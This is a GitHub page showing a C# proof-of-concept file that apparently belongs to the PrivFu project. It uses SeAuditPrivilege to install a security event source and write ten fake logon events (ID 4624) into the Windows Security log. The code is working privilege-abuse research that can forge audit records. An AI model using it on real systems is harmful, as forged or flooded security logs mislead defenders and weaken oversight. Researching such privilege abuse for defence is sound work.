-
Notifications
You must be signed in to change notification settings - Fork 125
/
Copy pathSeAuditPrivilegePoC.cs
325 lines (283 loc) · 11.2 KB
/
SeAuditPrivilegePoC.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
namespace SeAuditPrivilegePoC
{
class SeAuditPrivilegePoC
{
/*
* P/Invoke : Enums
*/
[Flags]
enum AUTHZ_REGISTRATION_FLAGS : uint
{
AUTHZ_ALLOW_MULTIPLE_SOURCE_INSTANCES = 1,
AUTHZ_MIGRATED_LEGACY_PUBLISHER
}
[Flags]
enum AUTHZ_REPORT_FLAGS : uint
{
APF_AuditFailure,
APF_AuditSuccess
}
enum AUDIT_PARAM_TYPE
{
APT_None = 1,
APT_String,
APT_Ulong,
APT_Pointer,
APT_Sid,
APT_LogonId,
APT_ObjectTypeList,
APT_Luid,
APT_Guid,
APT_Time,
APT_Int64,
APT_IpAddress,
APT_LogonIdWithSid
}
[Flags]
enum FormatMessageFlags : uint
{
FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100,
FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200,
FORMAT_MESSAGE_FROM_STRING = 0x00000400,
FORMAT_MESSAGE_FROM_HMODULE = 0x00000800,
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000,
FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000
}
/*
* P/Invoke : Structs
*/
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET
{
[MarshalAs(UnmanagedType.LPWStr)] public string szObjectTypeName;
public int dwOffset;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct AUTHZ_SOURCE_SCHEMA_REGISTRATION
{
public uint dwFlags;
[MarshalAs(UnmanagedType.LPWStr)] public string szEventSourceName;
[MarshalAs(UnmanagedType.LPWStr)] public string szEventMessageFile;
[MarshalAs(UnmanagedType.LPWStr)] public string szEventSourceXmlSchemaFile;
[MarshalAs(UnmanagedType.LPWStr)] public string szEventAccessStringsFile;
[MarshalAs(UnmanagedType.LPWStr)] public string szExecutableImagePath;
public IntPtr pProviderGuid;
public int dwObjectTypeNameCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public AUTHZ_REGISTRATION_OBJECT_TYPE_NAME_OFFSET[] ObjectTypeNames;
}
[StructLayout(LayoutKind.Sequential)]
struct SID
{
public byte Revision;
public byte SubAuthorityCount;
public SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public uint[] SubAuthority;
}
[StructLayout(LayoutKind.Sequential)]
public struct SID_IDENTIFIER_AUTHORITY
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]
public byte[] Value;
public SID_IDENTIFIER_AUTHORITY(byte[] value)
{
Value = value;
}
}
/*
* P/Invoke : Win32 APIs
*/
[DllImport("Authz.dll", SetLastError = true)]
static extern bool AuthzInstallSecurityEventSource(
uint dwFlags,
in AUTHZ_SOURCE_SCHEMA_REGISTRATION pRegistration);
[DllImport("Authz.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool AuthzRegisterSecurityEventSource(
uint dwFlags,
string szEventSourceName,
out IntPtr phEventProvider);
[DllImport("Authz.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool AuthzReportSecurityEvent(
AUTHZ_REPORT_FLAGS dwFlags,
IntPtr hEventProvider,
int dwAuditId,
IntPtr pUserSid,
int dwCount,
__arglist);
[DllImport("Authz.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool AuthzReportSecurityEvent(
AUTHZ_REPORT_FLAGS dwFlags,
IntPtr hEventProvider,
int dwAuditId,
ref SID pUserSid,
int dwCount,
__arglist);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern int FormatMessage(
FormatMessageFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
StringBuilder lpBuffer,
int nSize,
IntPtr Arguments);
[DllImport("ntdll.dll")]
static extern int NtEnumerateSystemEnvironmentValuesEx(
uint InformationClass,
IntPtr Buffer,
ref uint BufferLength);
/*
* Windows Consts
*/
const int ERROR_ACCESS_DENIED = 5;
const int ERROR_OBJECT_ALREADY_EXISTS = 5010;
/*
* User defined functions
*/
static bool AddTestSecurityEvent(int eventId, int numEvents)
{
int error;
bool status;
int count = 0;
string sourceName = "PrivFu";
string fileName = "FakeEvent";
var Registration = new AUTHZ_SOURCE_SCHEMA_REGISTRATION
{
dwFlags = (uint)AUTHZ_REGISTRATION_FLAGS.AUTHZ_ALLOW_MULTIPLE_SOURCE_INSTANCES,
szEventSourceName = sourceName,
szEventMessageFile = fileName,
szEventAccessStringsFile = fileName,
szExecutableImagePath = Assembly.GetEntryAssembly().Location
};
Console.WriteLine("[>] Trying to install event source.");
Console.WriteLine(" |-> Source Name : \"{0}\"", sourceName);
status = AuthzInstallSecurityEventSource(0, in Registration);
error = Marshal.GetLastWin32Error();
if (!status &&
error != ERROR_OBJECT_ALREADY_EXISTS &&
error != ERROR_ACCESS_DENIED)
{
Console.WriteLine("[-] Failed to install event source.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
else if (error == ERROR_ACCESS_DENIED)
{
Console.WriteLine("[-] Failed to install new event source.");
Console.WriteLine("[*] To install event source, administrative privilege is required.");
Console.WriteLine("[*] In the first time, you should execute this PoC from administrative console.");
}
else if (error == ERROR_OBJECT_ALREADY_EXISTS)
{
Console.WriteLine("[*] The specified event source already exists.");
}
else
{
Console.WriteLine("[+] The specified event source is installed successfully.");
}
Console.WriteLine("[>] Trying to register the installed event source.");
if (!AuthzRegisterSecurityEventSource(
0,
sourceName,
out IntPtr hEventProvider))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to install event source.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
else
{
Console.WriteLine("[+] The event source is registered successfully.");
Console.WriteLine(" |-> Event Provider Handle : 0x{0}", hEventProvider.ToString("X16"));
}
Console.WriteLine("[>] Trying to create {0} security event(s).", numEvents);
Console.WriteLine(" |-> Event ID : {0}", eventId);
for (var idx = 0; idx < numEvents; idx++)
{
status = AuthzReportSecurityEvent(
AUTHZ_REPORT_FLAGS.APF_AuditSuccess,
hEventProvider,
eventId,
IntPtr.Zero,
3,
__arglist(
AUDIT_PARAM_TYPE.APT_Time,
DateTime.Now.ToFileTime(),
AUDIT_PARAM_TYPE.APT_String,
"This event is created to test SeAuditPrivilege capability.",
AUDIT_PARAM_TYPE.APT_String,
"If you have SeAuditPrivilege, you can create new events."));
if (!status)
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to create new security event");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
break;
}
else
{
count++;
}
}
Console.WriteLine("[*] Done. {0} event(s) are created.", count);
return (count > 0);
}
static bool CompareIgnoreCase(string strA, string strB)
{
return (string.Compare(strA, strB, StringComparison.OrdinalIgnoreCase) == 0);
}
static string GetWin32ErrorMessage(int code, bool isNtStatus)
{
int nReturnedLength;
int nSizeMesssage = 256;
var message = new StringBuilder(nSizeMesssage);
var dwFlags = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM;
var pNtdll = IntPtr.Zero;
if (isNtStatus)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (CompareIgnoreCase(Path.GetFileName(module.FileName), "ntdll.dll"))
{
pNtdll = module.BaseAddress;
dwFlags |= FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE;
break;
}
}
}
nReturnedLength = FormatMessage(
dwFlags,
pNtdll,
code,
0,
message,
nSizeMesssage,
IntPtr.Zero);
if (nReturnedLength == 0)
return string.Format("[ERROR] Code 0x{0}", code.ToString("X8"));
else
return string.Format("[ERROR] Code 0x{0} : {1}", code.ToString("X8"), message.ToString().Trim());
}
static void Main()
{
int numEvents = 10;
Console.WriteLine("[*] If you have SeAuditPrivilege, you can create new events.");
Console.WriteLine("[*] This PoC tries to add {0} security event.", numEvents);
if (AddTestSecurityEvent(4624, numEvents))
{
Console.WriteLine("[*] If you cannot see new event(s) from this PoC in Security Logs, check and modify audit setting as follows:");
Console.WriteLine(" (1) Open secpol.msc.");
Console.WriteLine(" (2) [Security Settings] => [Local Policies] => [Audit Policy]");
Console.WriteLine(" (3) Check \"Success\" of \"Audit object access\" and apply modification.");
}
}
}
}